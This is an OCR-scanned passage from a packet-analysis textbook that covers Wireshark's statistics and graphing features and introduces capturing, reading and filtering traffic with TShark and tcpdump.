distribution of packet lengths in a capture to make educated guesses about 
the makeup of the traffic. This is immensely helpful for attempting to under- 
stand the composition of large capture files. Wireshark provides the Packet 
Lengths dialog for you to view the distribution of packets based on length. 
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Let’s look at an example by opening the file download-slow.pcapng. 
Once it is open, select Statistics >» Packet Lengths. The result is the Packet 
Lengths dialog shown in Figure 5-16. 























M Wireshark - Packet Lengths - download-slow — o x 
Topic / Item Count Average Minval Maxval Rate(ms) Percent Burstrate Burst start 
v Packet Lengths 10728 988.99 54 1460 0.0614 100% 0.2100 69.617 
0-19 0 - - 0.0000 0.00% - - 
20-39 0 = - 4 0.0000 0.00% - - 
40-79 3587 54.07 54 66 0.0205 33.44% 0.0700 31.017 
80-159 0 $ = - 0.0000 0.00% - = 
160-319 0 - - - 0.0000 0.00% - - 
320-639 1 634.00 634 634 0.0000 0.01% 0.0100 0.178 
640-1279 13 761.08 756 822 0.0001 0.12% 0.0400 0.921 
1280-2559 7127 1460.00 1458 1460 0.0408 66.43% 0.1400 69.617 
2560-5119 0 - - 0.0000 0.00% - = 
5120 and greater 0 = - Š 0.0000 0.00% 
Display filter: Enter a display filter | 
Copy Save as... Close 








Figure 5-16: The Packet Lengths dialog helps you make educated guesses about 
the traffic in the capture file. 


Pay special attention to the row showing statistics for packets ranging 
from 1,280 to 2,559 bytes. Larger packets like these typically indicate the 
transfer of data, whereas smaller packets indicate protocol control sequences. 
In this case, we have a large percentage of bigger packets (66.43 percent). 
Without seeing the packets in the file, we can make the educated guess that 
the capture contains one or more transfers of data. This could be in the 
form of an HTTP download, an FTP upload, or any other type of network 
communication in which data is transferred between hosts. 

Most of the remaining packets (33.44 percent) are in the 40- to 79-byte 
range. Packets in this range are usually TCP control packets that don’t carry 
data. Let’s consider the typical size of protocol headers. The Ethernet header 
is 14 bytes (plus a 4-byte CRC), the IP header is a minimum of 20 bytes, and 
a TCP packet with no data or options is also 20 bytes. This means that stan- 
dard TCP control packets—such as SYN, ACK, RST, and FIN packets—will 
be around 54 bytes and fall in this range. Of course, the addition of IP or 
TCP options will increase this size. We’ll dig into IP and TCP in Chapters 7 
and 8, respectively. 

Examining packet lengths is a great way to get a bird’s-eye view of a 
large capture. If there are a lot of large packets, it may be safe to assume 
that data is being transferred. If the majority of packets are small, indicat- 
ing that not much data is being passed, you may assume that the capture 
consists of protocol control commands. These are not hard-and-fast rules, 
but making such assumptions is helpful before diving deeper. 


Graphing 


download-fast 
.pcapng, download 
-slow.pcapng, 
http_espn.pcapng 


Graphs are the bread and butter of analysis and one of the best ways to get 
a summary overview of a data set. Wireshark includes several graphing fea- 
tures to assist in understanding capture data, the first of which are its IO 
graphing capabilities. 


Viewing 10 Graphs 


Wireshark’s IO Graph window allows you to graph the throughput of data 
on a network. You can use such graphs to find spikes and lulls in data 
throughput, discover performance lags in individual protocols, and com- 
pare simultaneous data streams. 

To view an example of the IO graph of a computer as it downloads a file 
from the internet, open download-fast.pcapng. Click any TCP packet to high- 
light it and then select Statistics } IO Graph. 

The IO Graph window shows a graphical view of the flow of data over 
time. In the example in Figure 5-17, you can see that the download this 
graph represents averages around 500 packets per second and stays some- 
what consistent throughout its duration before tapering off at the end. 





M Wireshark - IO Graphs - download-fast _ o x 
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Figure 5-17: The IO graph of the fast download is mostly consistent. 


Let’s compare this to an example of a slower download. Leaving 
the current file open, open download-slow.pcapng in another instance of 
Wireshark. Bring up the IO graph of this download, and you'll see a much 
different story, as shown in Figure 5-18. 
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Wireshark IO Graphs: download-slow 
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Figure 5-18: The IO graph of the slow download is not consistent at all. 


This download has a transfer rate between 0 and 100 packets per sec- 
ond, and its rate is far from consistent, sometimes nearing 0 packets per 
second. You can see these inconsistencies more clearly if you place the IO 
graphs of the two files next to each other (see Figure 5-19). When compar- 
ing two graphs, pay attention to the x-and y-axis values to ensure that you’re 
comparing apples to apples. The scale will automatically adjust based on 
the number of packets and/or data transmitted, which is a key difference 
between the two graphs in Figure 5-19. The slower download shows a scale 
between 0 and 100 packets per second, while the faster download’s scale has 
a range of 0 to 700 packets per second. 
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Figure 5-19: Viewing multiple IO graphs side by side can be helpful in spotting variance. 


The configurable options at the bottom of this window allow you to use 
multiple unique filters (using the same syntax as for a display or capture fil- 
ter) and specify display colors for those filters. For instance, you can create 
filters for specific IP addresses and assign unique colors to them to view the 
variance in throughput for each device. Let’s try that out. 

Open htip_espn.pcapng, which was captured while a device was visiting the 
ESPN home page. If you look at the Conversations window, you'll see that 
the top-talking external IP address is 205.234.218.129. From this, we can 
deduce that this host is likely the primary content provider we are receiving 
data from when visiting espn.com. However, there are also several other IPs 
participating in conversations, likely because additional content is being 
downloaded from external content providers and advertisers. We can show 
the disparity between the direct and third-party content delivery using the 
IO graph shown in Figure 5-20. 
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Hover over the graph for details. 
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Figure 5-20: An IO graph showing IO of two separate devices. 


The two filters applied in this chart are represented by the rows on 

the bottom of the IO Graph window. The filter named Top Talker shows 
IO only for the IP address 205.234.218.129, our primary content provider. 
It will graph this value in black using the stacked-bar style. The second fil- 
ter, named Everything Else, will show IO for everything in the capture file 
except for the 205.234.218.129 address and thus includes all of the third- 
party content providers. This value will be graphed in red (shown here as 
the lighter gray) using the stacked bar. Notice that we’ve changed the y-axis 
unit to bytes per second. With these changes applied, it’s very easy to see 
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the difference between primary and third-party content providers and just 
how much content is actually from a third-party source. This is a fun exer- 
cise to repeat on your frequently visited websites and a useful strategy for 
comparing the IO of different network hosts. 


Round-Trip Time Graphing 


Another graphing feature of Wireshark is the ability to view a plot of round- 
trip times for a given capture file. The round-trip time (RTT) is the time it 
takes for an acknowledgment to be received for a packet. Effectively, this is 
the time it took your packet to get to its destination and for the acknowledg- 
ment of that packet to be sent back to you. Analysis of RTTs is often done 
to find slow points or bottlenecks in communication and to determine 
whether there is any latency. 

Let’s try out this feature. Open the file download-fast.pcapng. View 
the RTT graph of this file by selecting a TCP packet and then choosing 
Statistics > TCP Stream Graphs > Round Trip Time Graph. The RTT 
graph for download-fast.pcapng is shown in Figure 5-21. 
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Figure 5-21: The RTT graph of the fast download appears mostly consistent, with only a 
few stray values. 


Each point in the graph represents the RTT of a packet. The default view 
shows these values sorted by sequence number. You can click a plotted point 
within the graph to be taken directly to that packet in the Packet List pane. 


The RTT graph is unidirectional, so it’s important to select the proper direction of the 
traffic youd like to analyze. If your graph doesn’t look like the one in Figure 5-21, you 
might need to click the Switch Direction button twice. 


dns_recursivequery 
_server.pcapng 


It appears as though the RTT graph for the fast download has RTT 
values mostly under 0.05 seconds, with a few slower points between 0.10 and 
0.25 seconds. Although there are quite a few higher values, the majority of 
the RTT values are okay, so this would be considered an acceptable RTT 
for a file download. When examining the RTT graph for throughput issues, 
you want to look for high latency times, which are indicated by multiple 
points plotted at higher y-axis values. 


Flow Graphing 


The flow graph feature is useful for visualizing connections and showing 
the flow of data over time, information that makes it easier to understand 
how devices are communicating. A flow graph contains a column-based 
view of a connection between hosts and organizes the traffic so you can 
interpret it visually. 

To create a flow graph, open the file dns_recursivequery_server.pcapng and 
select Statistics >» Flow Graph. The resulting graph is shown in Figure 5-22. 
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Figure 5-22: The TCP flow graph allows us to visualize the 
connection much better. 


This flow graph is a recursive DNS query, which is a DNS query that 
is received by one host and forwarded to another (we’ll cover DNS in 
Chapter 9). Each vertical line in the graph represents an individual host. 
The flow graph is a great way to visualize back-and-forth communica- 
tion between two devices or, as in this example, the relationship between 
the communication of multiple devices. It’s also useful for understand- 
ing the normal flow of communication with protocols that you are less 
experienced with. 


Expert Information 


download-slow 
.pcapng 


The dissectors for each protocol in Wireshark define expert info that can be 
used to alert you about particular states within packets of that protocol. 
These states are separated into four categories. 
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Chat Basic information about the communication 
Note Unusual packets that may be part of normal communication 


Warning Unusual packets that are most likely not part of normal 
communication 


Error An error in a packet or the dissector interpreting it 


For example, open the file download-slow.pcapng. Then click Analyze 
and select Expert Information to bring up the Expert Information window. 
Once there, deselect Group by summary to organize the output by severity 
(see Figure 5-23). 








M Wireshark - Expert Information - download-slow a o x 
Severity Summary Group Protocol Count 
v Warning Sequence TCP 3 


1620 Previous segment not captured (common at capture start) 
3275 Previous segment not captured (common at capture start) 
3295 This frame is a (suspected) out-of-order segment 
v Note Sequence TCP 19 
1623 Duplicate ACK (#1) 
1625 Duplicate ACK (#2) 
1627 Duplicate ACK (#3) 
1629 Duplicate ACK (#4) 
1631 Duplicate ACK (#5) 
1633 Duplicate ACK (#6) 
1635 Duplicate ACK (#7) 
1637 Duplicate ACK (#8) 
1638 This frame is a (suspected) fast retransmission 
1638 This frame is a (suspected) retransmission 
3278 Duplicate ACK (#1) 
3280 Duplicate ACK (#2) 
3282 Duplicate ACK (#3) 
3284 Duplicate ACK (#4) 
3286 Duplicate ACK (#5) 
3288 Duplicate ACK (#6) 
3290 Duplicate ACK (#7) 
3292 Duplicate ACK (#8) 
3294 Duplicate ACK (#9) 





1 Connection establish request (SYN): server port 80 
2 Connection establish acknowledge (SYN+ACK): server por... 
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Figure 5-23: The Expert Information window shows information from the expert system 
programmed within the protocol dissectors. 


The window has sections for each classification of information. Here 
there are no errors, 3 warnings, 19 notes, and 3 chats. 

Most of the messages within this capture file are TCP related, simply 
because the expert information system has traditionally been most used 
with that protocol. At this time, there are 29 expert info messages config- 
ured for TCP, and they will be useful when you are troubleshooting capture 
files. These messages will flag an individual packet when it meets certain 


criteria, as listed below. (The meaning of these messages will become 
clearer as we study TCP in Chapter 8 and troubleshooting slow networks 
in Chapter 11.) 


Chat Messages 


Window Update Sent by a receiver to notify a sender that the size of the 
TCP receive window has changed. 


Note Messages 
TCP Retransmission Results from packet loss. Occurs when a duplicate 
ACK is received or the retransmission timer of a packet expires. 


Duplicate ACK When a host doesn’t receive the next sequence number 
it is expecting, it generates a duplicate ACK of the last data it received. 


Zero Window Probe Monitors the status of the TCP receive window after 
a zero window packet has been transmitted (covered in Chapter 11). 


Keep Alive ACK Sent in response to keep-alive packets. 


Zero Window Probe ACK Sent in response to zero-window-probe 
packets. 


Window Is Full Notifies a transmitting host that the receiver’s TCP 
receive window is full. 


Warning Messages 
Previous Segment Lost Indicates packet loss. Occurs when an expected 
sequence number in a data stream is skipped. 


ACKed Lost Packet Occurs when an ACK packet is seen but the packet it 
is acknowledging is not. 


Keep Alive Triggered when a connection keep-alive packet is seen. 


Zero Window Seen when the size of the TCP receive window is reached 
and a zero window notice is sent out, requesting that the sender stop 
sending data. 


Out-of-Order Utilizes sequence numbers to detect when packets are 
received out of sequence. 


Fast Retransmission A retransmission that occurs within 20 milli- 
seconds of a duplicate ACK. 


Error Messages 


No Error Messages 


Although some of the features discussed in this chapter may seem as if 
they would be used only in obscure situations, you will probably find your- 
self using them more than you might expect. It’s important that you famil- 
iarize yourself with these windows and options; I will be referencing them a 
lot in the next few chapters. 
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PACKET ANALYSIS ON THE 
COMMAND LINE 


While many scenarios can be addressed 
using a GUI, in some cases, using com- 
mand line tools—such as TShark or 
tcpdump—is necessary or preferable. Here 


are some situations in which a command line tool 
might be used instead of Wireshark: 


Wireshark provides a lot of information at once. By using a command 
line tool, you can limit displayed information to only pertinent data, 
such as a single line showing IP addresses. 

Command line tools are best suited for filtering a packet capture file 
and providing the results directly to another tool using Unix pipes. 
Dealing with a very large capture file can often overwhelm Wireshark 
because the entire file must be loaded into RAM. Stream processing 
of large capture files with command line tools can allow you to quickly 
filter the file down to the relevant packets. 


If you are dealing with a server and don’t have access to a graphical 
tool, you may be forced to rely on command line tools. 
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In this chapter, Il] demonstrate the features of two common command 
line packet analysis tools, TShark and tcpdump. I think it’s helpful to be 
familiar with both, but I generally find myself using TShark on Windows 
systems and tcpdump on Unix systems. If you exclusively use Windows, you 
may want to skip the parts on tcpdump. 


Installing TShark 


Chapter 6 


Terminal-based Wireshark, or TShark, is a packet analysis application that 
provides a lot of the same functionality as Wireshark but exclusively from 
a command line interface with no GUI. If you’ve installed Wireshark, then 
you likely have TShark as well unless you explicitly chose not to install it 
during Wireshark installation. You can verify that TShark is installed by 
following these steps: 


l. Open a command prompt. Click the Start Menu, enter cmd, and click 
Command Prompt. 


2. Browse to the directory where Wireshark is installed. If you installed it 
to the default location, you can go there by entering cd C:\Program Files\ 
Wireshark in the command prompt. 


3. Run TShark and print its version information by entering tshark -v. If 
TShark isn’t installed, you’ll get an error saying the command is not 
recognized. If TShark is installed on your system, you'll get an output 
with the TShark version information: 





C:\Program Files\Wireshark>tshark -v 
TShark (Wireshark) 2.0.0 (v2.0.0-0-g9a73b82 from master-2.0 
--snip-- 





If you didn’t install TShark and would like to use it now, you can simply 
rerun the Wireshark installation and make sure TShark is selected. (It is by 
default.) 

If you'd like to immediately start learning more about TShark’s capa- 
bilities, you can print the available commands with the -h argument. We’ll 
cover some of these commands in this chapter. 





C:\Program Files\Wireshark>tshark -h 





Like Wireshark, TShark can run on multiple operating systems, but 
since it’s not dependent on OS-specific graphics libraries, the user expe- 
rience is more consistent across different OS platforms. Because of this, 
TShark operates very similarly on Windows, Linux, and OS X. However, 
there are still some differences in how TShark runs on each platform. In 
this book, we’ll focus on running TShark on Windows because that is the 
primary operating system it was designed to work with. 


Installing tcpdump 


While Wireshark is the most popular graphical packet analysis application in 
the world, tcpdump is by far the most popular command line packet analysis 
application. Designed to work on Unix-based operating systems, tcpdump is 
very easy to install via popular package management applications and even 
comes preinstalled on many flavors of Linux. 

Even though the majority of this book is Windows focused, sections 
on tcpdump are included for Unix users. Specifically, we’ll be using 
Ubuntu 14.04 LTS. If you would like to use tcpdump on a Windows device, 
then you can download and install its Windows counterpart, WinDump, 
from hitp://www.winpcap.org/windump/. While the experience of tcpdump 
and that of WinDump aren’t entirely the same, these packet analyzers func- 
tion similarly. Note, however, that WinDump isn’t nearly as actively main- 
tained as tcpdump. As a result, a few newer features might be missing, and 
security vulnerabilities may exist. (We won't be covering WinDump in 
this book.) 

Ubuntu doesn’t come with tcpdump preinstalled, but installing it is very 
easy thanks to the APT package management system. To install tcpdump, 
follow these steps: 


1. Open a terminal window and run the command sudo apt-get update 
to ensure that your package repositories are up-to-date with the latest 
package versions. 


2. Run the command sudo apt-get install tcpdump. 


3. You'll be asked to install a number of prerequisites that are needed to 
run tcpdump. Allow these installations by typing Y and pressing ENTER 
when prompted. 


4. Once the installation has completed, run the command tcpdump -h to 
execute tcpdump and print its version information. You're ready to start 
using tcpdump if the command is successful and you see text like this 
in the terminal window: 





sanders@ppa:~$ tcpdump -h 

tcpdump version 4.5.1 

libpcap version 1.5.3 

Usage: tcpdump [-aAbdDefhHIJK1LnNOpgRStuUvxx#] [ -B size ] [ -c count ] 
[ -C file_size ] [ -E algo:secret ] [ -F file ] [ -G seconds ] 
[ -i interface ] [ -j tstamptype ] [ -M secret ] 
[ -Q metadata-filter-expression ] 
[ -r file ] [ -s snaplen ] [ -T type ] [ --version ] [ -V file ] 
[ - a ] [ -w filecount ] [ -y datalinktype ] [ -z command ] 
[ - r ] [ expression ] 





You can print all of tcpdump’s available commands by invoking the man 
tcpdump command, like this: 





sanders@ppa:~$ man tcpdump 
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We’ll talk about how to use several of these commands. 


Capturing and Saving Packets 


Chapter 6 


The first order of business is to capture packets from the wire and display 
them on the screen. To start a capture in TShark, simply execute the com- 
mand tshark. This command will start the process of capturing packets 
from a network interface and dumping them on screen in your terminal 
window, which will look something like this: 


C:\Program Files\Wireshark>tshark 


1 0.000000 172.16.16.128 -> 74.125.95.104 TCP 66 1606 80 [SYN] 
Seq=0 Win=8192 Len=0 MSS=1460 WS=4 SACK_PERM=1 

2 0.030107 74.125.95.104 -> 172.16.16.128 TCP 66 80 1606 [SYN, ACK] 
Seq=0 Ack=1 Win=5720 Len=0 MSS=1406 SACK_PERM=1 WS=64 

3 0.030182 172.16.16.128 -> 74.125.95.104 TCP 54 1606 80 [ACK] 


Seq=1 Ack=1 Win=16872 Len=0 

4 0.030248 172.16.16.128 -> 74.125.95.104 HTTP 681 GET / HTTP/1.1 

5 0.079026 74.125.95.104 -> 172.16.16.128 TCP 60 80 1606 [ACK] 
Seq=1 Ack=628 Win=6976 Len=0 





To start a capture in tcpdump, execute the command tcpdump. After you 
run this command, your terminal window should look something like this: 





sanders@ppa:~$ tcpdump 

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode 
listening on etho, link-type EN10MB (Ethernet), capture size 65535 bytes 
21:18:39.618072 IP 172.16.16.128.slm-api > 74.125.95.104.http: Flags [S], 
seq 2082691767, win 8192, options [mss 1460,nop,wscale 2,nop,nop,sackOK], 
length 0 

21:18:39.648179 IP 74.125.95.104.http > 172.16.16.128.slm-api: 

Flags [S.], seq 2775577373, ack 2082691768, win 5720, options [mss 
1406,nop,nop,sackOK,nop,wscale 6], length o 

21:18:39.648254 IP 172.16.16.128.slm-api > 74.125.95.104.http: Flags [.], 
ack 1, win 4218, length o 

21:18:39.648320 IP 172.16.16.128.slm-api > 74.125.95.104.http: Flags [P.], 
seq 1:628, ack 1, win 4218, length 627: HTTP: GET / HTTP/1.1 
21:18:39.697098 IP 74.125.95.104.http > 172.16.16.128.slm-api: Flags [.], 
ack 628, win 109, length o 





Since administrative privileges are required to capture packets on Unix systems, youll 
likely either have to execute tcpdump as the root user or use the sudo command in front 
of the commands listed in this book. In many cases, yowll probably be accessing your 
Unix-based system as a user with limited privileges. If you encounter a permissions 
error while following along, this is probably the reason why. 


Depending on how your system is configured, TShark or tcpdump may 
not default to the network interface you want to capture traffic from. If that 


happens, you will need to specify it. You can list the interfaces available to 
TShark by using the -D argument, which outputs the interfaces as a num- 
bered list, as shown here: 





C:\Program Files\Wireshark>tshark -D 

1. \Device\NPF_{1DE095C2-346D-47E6-B855-11917B74603A} (Local Area Connection* 
2) 

2. \Device\NPF_{1A494418-97D3-42E8-8COB-78D79A1F7545} (Ethernet 2) 





To use a specific interface, use the -i argument with the interface’s 
assigned number from the interface list, like this: 





C:\Program Files\Wireshark>tshark -i 1 





This command will capture packets exclusively from the interface 
named Local Area Connection 2, which is assigned the number | in the 
interface list. I recommend always specifying which interface you are cap- 
turing from. It’s common for virtual machine tools or VPNs to add inter- 
faces, and you want to be certain that the packets you are capturing are 
coming from the correct source. 

On a Linux or OS X system running tcpdump, use the ifconfig com- 
mand to list the available interfaces: 





sanders@ppa:~$ ifconfig 
etho Link encap:Ethernet HWaddr 00:0c:29:1f:a7:55 
inet addr:172.16.16.139 Bcast:172.16.16.255 Mask:255.255.255.0 
inet6 addr: fe80::20c:29ff:fe1f:a755/64 Scope:Link 
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 
RX packets:5119 errors:0 dropped:0 overruns:0 frame:0 
TX packets:3088 errors:0 dropped:0 overruns:0 carrier:0 
collisions:0 txqueuelen:1000 
RX bytes:876746 (876.7 KB) TX bytes:538083 (538.0 KB) 


Specifying the interface is also done by using the -i argument: 





sanders@ppa:~$ tcpdump -i etho 





This command will capture packets exclusively from the ethO interface. 

Once you have everything properly configured, you can start captur- 
ing packets. If the device you're capturing traffic from is even remotely busy 
on the network, then yov’ ll probably notice that lines representing indi- 
vidual packets are flying by rather quickly—potentially too quickly for you 
to read. We can remedy this by saving the packets to a file and then reading 
only a few of them from that file. 

To save collected packets to a file in both tools, use the -w argument 
along with the name of the file. The capture will continue running until 
you stop it by pressing CTRL-C. The file will be saved to whatever directory 
the program was executed from, unless otherwise specified. 
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Here’s an example of this command in TShark: 


C:\Program Files\Wireshark>tshark -i 1 -w packets.pcap 





This command will write all of the packets captured from the first 
interface in the interface list to packets.pcap. 
In tcpdump, the same command would look like this: 





sanders@ppa:~$ tcpdump -i etho -w packets.pcap 





To read packets back from a saved file, use the -r argument along with 
the name of the file: 





C:\Program Files\Wireshark>tshark -r packets.pcap 





This command will read all the packets from packets.pcap onto the 
screen. 
The tcpdump command is nearly identical: 





sanders@ppa:~$ tcpdump -r packets.pcap 





You may notice that if the file you are attempting to read from con- 
tains a lot of packets, you'll encounter a situation similar to the one just 
described, with the packets scrolling across your screen too fast for you to 
read. You can limit the number of packets displayed when reading from a 
file by using the -c argument. 

For example, the following command will show only the first 10 packets 
of the capture file in TShark: 





C:\Program Files\Wireshark>tshark -r packets.pcap -c10 





In tcpdump, the same argument can be used: 





sanders@ppa:~$ tcpdump -r packets.pcap -c10 





The -c argument can also be used at capture time. Executing this com- 
mand will capture only the first 10 packets that are observed. They can also 
be saved when -c is combined with the -w argument. 

Here’s what this command looks like in TShark: 





C:\Program Files\Wireshark>tshark -i 1 -w packets.pcap -c10 





And in tcpdump: 





sanders@ppa:~$ tcpdump -i ethO -w packets.pcap -c10 





Manipulating Output 


A benefit of using command line tools is that the output is usually consid- 
ered more carefully. A GUI typically shows you everything and it’s up to 
you to find what you want. Command line tools typically only show the bare 
minimum and force you to use additional commands to dig deeper. TShark 
and tcpdump are no different. They both show a single line of output for 
each packet, requiring you to use additional commands to view information 
such as protocol details or individual bytes. 

In the TShark output, each line represents a single packet, and the for- 
mat of the line depends on the protocols used in that packet. TShark uses 
the same dissectors as Wireshark and analyzes packet data in the same way, 
so TShark output will mirror Wireshark’s Packet List pane when the two are 
run side by side. Because TShark has dissectors for layer 7 protocols, it can 
provide a lot more information about packets containing headers than can 
tcpdump. 

In tcpdump, each line also represents one packet, which is formatted 
differently based on the protocol being used. Since tcpdump doesn’t use 
Wireshark’s protocol dissectors, layer 7 protocol information isn’t inter- 
preted by the tool. This is one of tcpdump’s biggest limitations. Instead, 
single-line packets are formatted based on their transport layer protocol, 
which is either TCP or UDP (we'll learn more about these in Chapter 8). 

TCP packets use this format: 





[Timestamp] [Layer 3 Protocol] [Source IP].[Source Port] > [Destination IP]. 
[Destination Port]: [TCP Flags], [TCP Sequence Number], [TCP Acknowledgement 
Number], [TCP Windows Size], [Data Length] 


While UDP packets use this format: 





[Timestamp] [Layer 3 Protocol] [Source IP].[Source Port] > [Destination IP]. 
[Destination Port]: [Layer 4 Protocol], [Data Length] 





These basic one-line summaries are great for quick analysis, but you’ll 
eventually need to perform a deep dive into a packet. In Wireshark, you 
would do this by clicking a packet in the Packet List pane, which would 
display information in the Packet Details and Packet Bytes panes. You can 
access the same information on the command line using a few options. 

The simplest way to gain more information about each packet is to 
increase the verbosity of the output. 

In TShark, a capital V is used to increase verbosity: 





C:\Program Files\Wireshark>tshark -r packets.pcap -V 





This will provide an output similar to Wireshark’s Packet Details pane 
for packets read from the packets.pcap capture file. Examples of a packet 
with normal verbosity (a basic summary) and expanded verbosity (more 
detailed summaries obtained through the -V argument) are shown here. 
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First the standard output: 


C:\Program Files\Wireshark>tshark -r packets.pcap -c1 
1 0.000000 172.16.16.172 -> 4.2.2.1 ICMP Echo (ping) request 
id=0x0001, seq=17/4352, ttl=128 





And now a portion of the more in-depth information produced with 
expanded verbosity: 





C:\Program Files\Wireshark>tshark -r packets.pcap -V -c1 
Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) on 
interface 0 
Interface id: 0 (\Device\NPF_{C30671C1-579D-4F33-9CCO-73EFFFE85A54}) 
Encapsulation type: Ethernet (1) 
Arrival Time: Dec 21, 2015 12:52:43.116551000 Eastern Standard Time 
[Time shift for this packet: 0.000000000 seconds] 
--snip-- 





In tcpdump, the lowercase v is used to increase verbosity. Unlike 
TShark, tcpdump allows multiple levels of verbosity to be displayed for 
each packet. You can add up to three levels of verbosity by appending 
additional vs, as seen here: 





sanders@ppa:~$ tcpdump -r packets.pcap -vvv 





An example of the same packet displayed with normal verbosity and 
one level of expanded verbosity is shown below. Even with full verbosity, 
this output isn’t nearly as verbose as what TShark produces. 





sanders@ppa:~$ tcpdump -r packets.pcap -c1 
reading from file packets.pcap, link-type EN10MB (Ethernet) 
13:26:25.265937 IP 172.16.16.139 > a.resolvers.level3.net: ICMP echo request, 
id 1759, seq 150, length 64 
sanders@ppa:~$ tcpdump -r packets.pcap -c1 -v 
reading from file packets.pcap, link-type EN10MB (Ethernet) 
13:26:25.265937 IP (tos 0x0, ttl 64, id 37322, offset 0, flags [DF], proto 
ICMP (1), length 84) 

172.16.16.139 > a.resolvers.level3.net: ICMP echo request, id 1759, seq 
150, length 64 





The levels of verbosity available will depend on the protocol of the packet 
you're examining. While expanded verbosity is useful, it still doesn’t show us 
everything there is to see. TShark and tcpdump store the entire contents of 
each packet, which can also be viewed in hexadecimal or ASCII form. 

In TShark, you can view the hex and ASCII representation of packets by 
using the -x argument, which can be combined with the r argument to read 
and display a packet from file: 





C:\Program Files\Wireshark>tshark -xr packets.pcap 
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This view, which is similar to Wireshark’s Packet Bytes pane, is shown in 
Figure 6-1. 
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C:\Program Files\wWireshark>tshark -xr packets.pcap -c1 
cð ci c@ 17 8c e8 f 16 54 f8 91 ac 08 OB 45 ƏƏ 
ƏƏ 3c 37 d7 ƏƏ ƏƏ 8Ə Ə1 4Ə 2b ac 18 1Ə ac G4 02 


@2 @1 @8 ƏƏ 4d 4a ƏƏ @1 ƏƏ 11 61 62 63 64 65 66 


67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 gl 
77 61 62 63 64 65 66 67 68 69 wabcdefghi 





Figure 6-1: Viewing raw packets in hex and ASCII in TShark 


In tcpdump, you can view the hex and ASCII representation by using 
the -X switch. You can also combine -X with the r argument to read from a 
packet file, like this: 





sanders@ppa:~$ tcpdump -Xr packets .pcap 





The output from this command is shown in Figure 6-2. 





© - 

sanders@ppa:~$ tcpdump -Xr packets.pcap -c1 

reading from file packets.pcap, link-type EN10MB (Ethernet) 

13:26:25.265937 IP 172.16.16.139 > a.resolvers.level3.net: ICMP echo request, id 1759, seq 150, length 64 
0x000: 4500 0054 Sica 4000 4001 e649 aci@ 108b E..T..@.@..@.... 

0x0010: 0402 0201 0800 abðe O6df 0096 5144 7856 . 


1. sanders@ppa: ~ (ssh) 





0x0020: 8800 0000 b9Ge 0400 COCO 000Ə 1011 1213 ........... ee eee 


@x@@30: 1415 1617 1819 1a1b icid 1e1f 2021 2223 .. 
0x0040: 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233 $%&'() 
0x0050: 3435 3637 4567 


Figure 6-2: Viewing raw packets in hex and ASCII in tcpdump 


tcpdump also lets you get a bit more granular if you need to. You can 
view only the hexadecimal output using the -x (lowercase) argument or 
only the ASCII output using the -A argument. 

It’s easy to become overwhelmed with data when you start experimenting 
with these data output options. I find it most efficient to use the least amount 
of information needed when doing analysis from the command line. Start by 
viewing packets in their default list view and use more verbose output when 
you narrow your analysis down to a few interesting packets. This approach 
will keep you from being overwhelmed with data. 


Name Resolution 


Like Wireshark, TShark and tcpdump will attempt to perform name resolu- 
tion to convert addresses and port numbers to names. If you followed along 
with any of the earlier examples, you may have noticed that this occurs by 
default. As mentioned previously, I typically prefer to disable this function- 
ality to prevent the possibility of my analysis generating more packets on 
the wire. 
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You can disable name resolution in TShark by using the -n argument. 
This argument, like many others, can be combined with other commands 
to enhance readability: 


C:\Program Files\Wireshark>tshark -ni 1 





You can enable or disable certain aspects of name resolution with the 
-N argument. If you use the -N argument, all name resolution will be dis- 
abled except for any you explicitly enable using the appropriate values. For 
instance, the following command will enable only transport layer (port 
name) resolution: 





C:\Program Files\Wireshark>tshark -i 1 -Nt 





You can combine multiple values. This command will enable transport 
layer and MAC resolution: 





C:\Program Files\Wireshark>tshark -i 1 -Ntm 





The following values are available when using this option: 


m MAC address resolution 

n Network address resolution 

t Transport layer (port name) resolution 

N Use external resolvers 

c Concurrent DNS lookups 

In tcpdump, using -n will disable IP name resolution, and using -nn will 


disable port name resolution as well. 
This argument can also be combined with other commands, like this: 





sanders@ppa:~$ tcpdump -nni eth1 





The following examples show a packet capture first with port resolution 
enabled and then with it disabled (-n). 


sanders@ppa:~$ tcpdump -r tcp_ports.pcap -c1 

reading from file tcp_ports.pcap, link-type EN10MB (Ethernet) 

14:38:34.341715 IP 172.16.16.128.2826 > 212.58.226.142.@http: Flags [S], seq 
3691127924, win 8192, options [mss 1460,nop,wscale 2,nop,nop,sackOK], length o 
sanders@ppa:~$ tcpdump -nr tcp_ports.pcap -c1 

reading from file tcp_ports.pcap, link-type EN10MB (Ethernet) 

14:38:34.341715 IP 172.16.16.128.2826 > 212.58.226.142.@80: Flags [S], seq 
3691127924, win 8192, options [mss 1460,nop,wscale 2,nop,nop,sackOK], length o 





Both of these commands read just the first packet from the capture 
file tch_ports.pcap. With the first command, port name resolution is on and 
resolves port 80 to http ®, but with the second command, the port is just 
displayed by number 8. 


Applying Filters 


Filtering in TShark and tcpdump is very flexible because both allow the use 
of BPF capture filters. TShark can also use Wireshark display filters. Just as 
with Wireshark, capture filters in TShark can be used only at capture time, 
and display filters can be used at capture time or while displaying already 
captured packets. We’ll start by looking at TShark filters. 

Capture filters can be applied using the -f argument, followed by the 
BPF syntax you wish to use in quotation marks. This command will only 
capture and save packets with a destination of port 80 and using the TCP 
protocol: 





C:\Program Files\Wireshark>tshark -ni 1 -w packets.pcap -f "tcp port 80" 





Display filters can be applied using the -Y argument, followed by the 
Wireshark filter syntax you wish to use in quotation marks. This can be 
applied at capture time like this: 





C:\Program Files\Wireshark>tshark -ni 1 -w packets.pcap -Y "tcp.dstport == 80" 





Display filters can be applied on already captured packets using the 
same argument. This command will display only packets from packets.pcap 
that match the filter: 





C:\Program Files\Wireshark>tshark -r packets.pcap -Y "tcp.dstport == 80" 


With tcpdump, you specify filters inline at the end of a command within 
single quotes. This command will also capture and save only packets destined 
to TCP port 80: 





sanders@ppa:~$ tcpdump -nni etho -w packets.pcap ‘tcp dst port 80' 





You can specify a filter when reading packets as well. This command 
will display only packets from packets.pcap that match the filter: 





sanders@ppa:~$ tcpdump -r packets.pcap ‘tcp dst port 80' 





It’s important to keep in mind that if the original capture file was 
created without a filter, then it still contains other packets; you are just lim- 
iting what is shown on the screen when reading from an existing file. 

What if you have a capture file that contains a large variety of packets, 
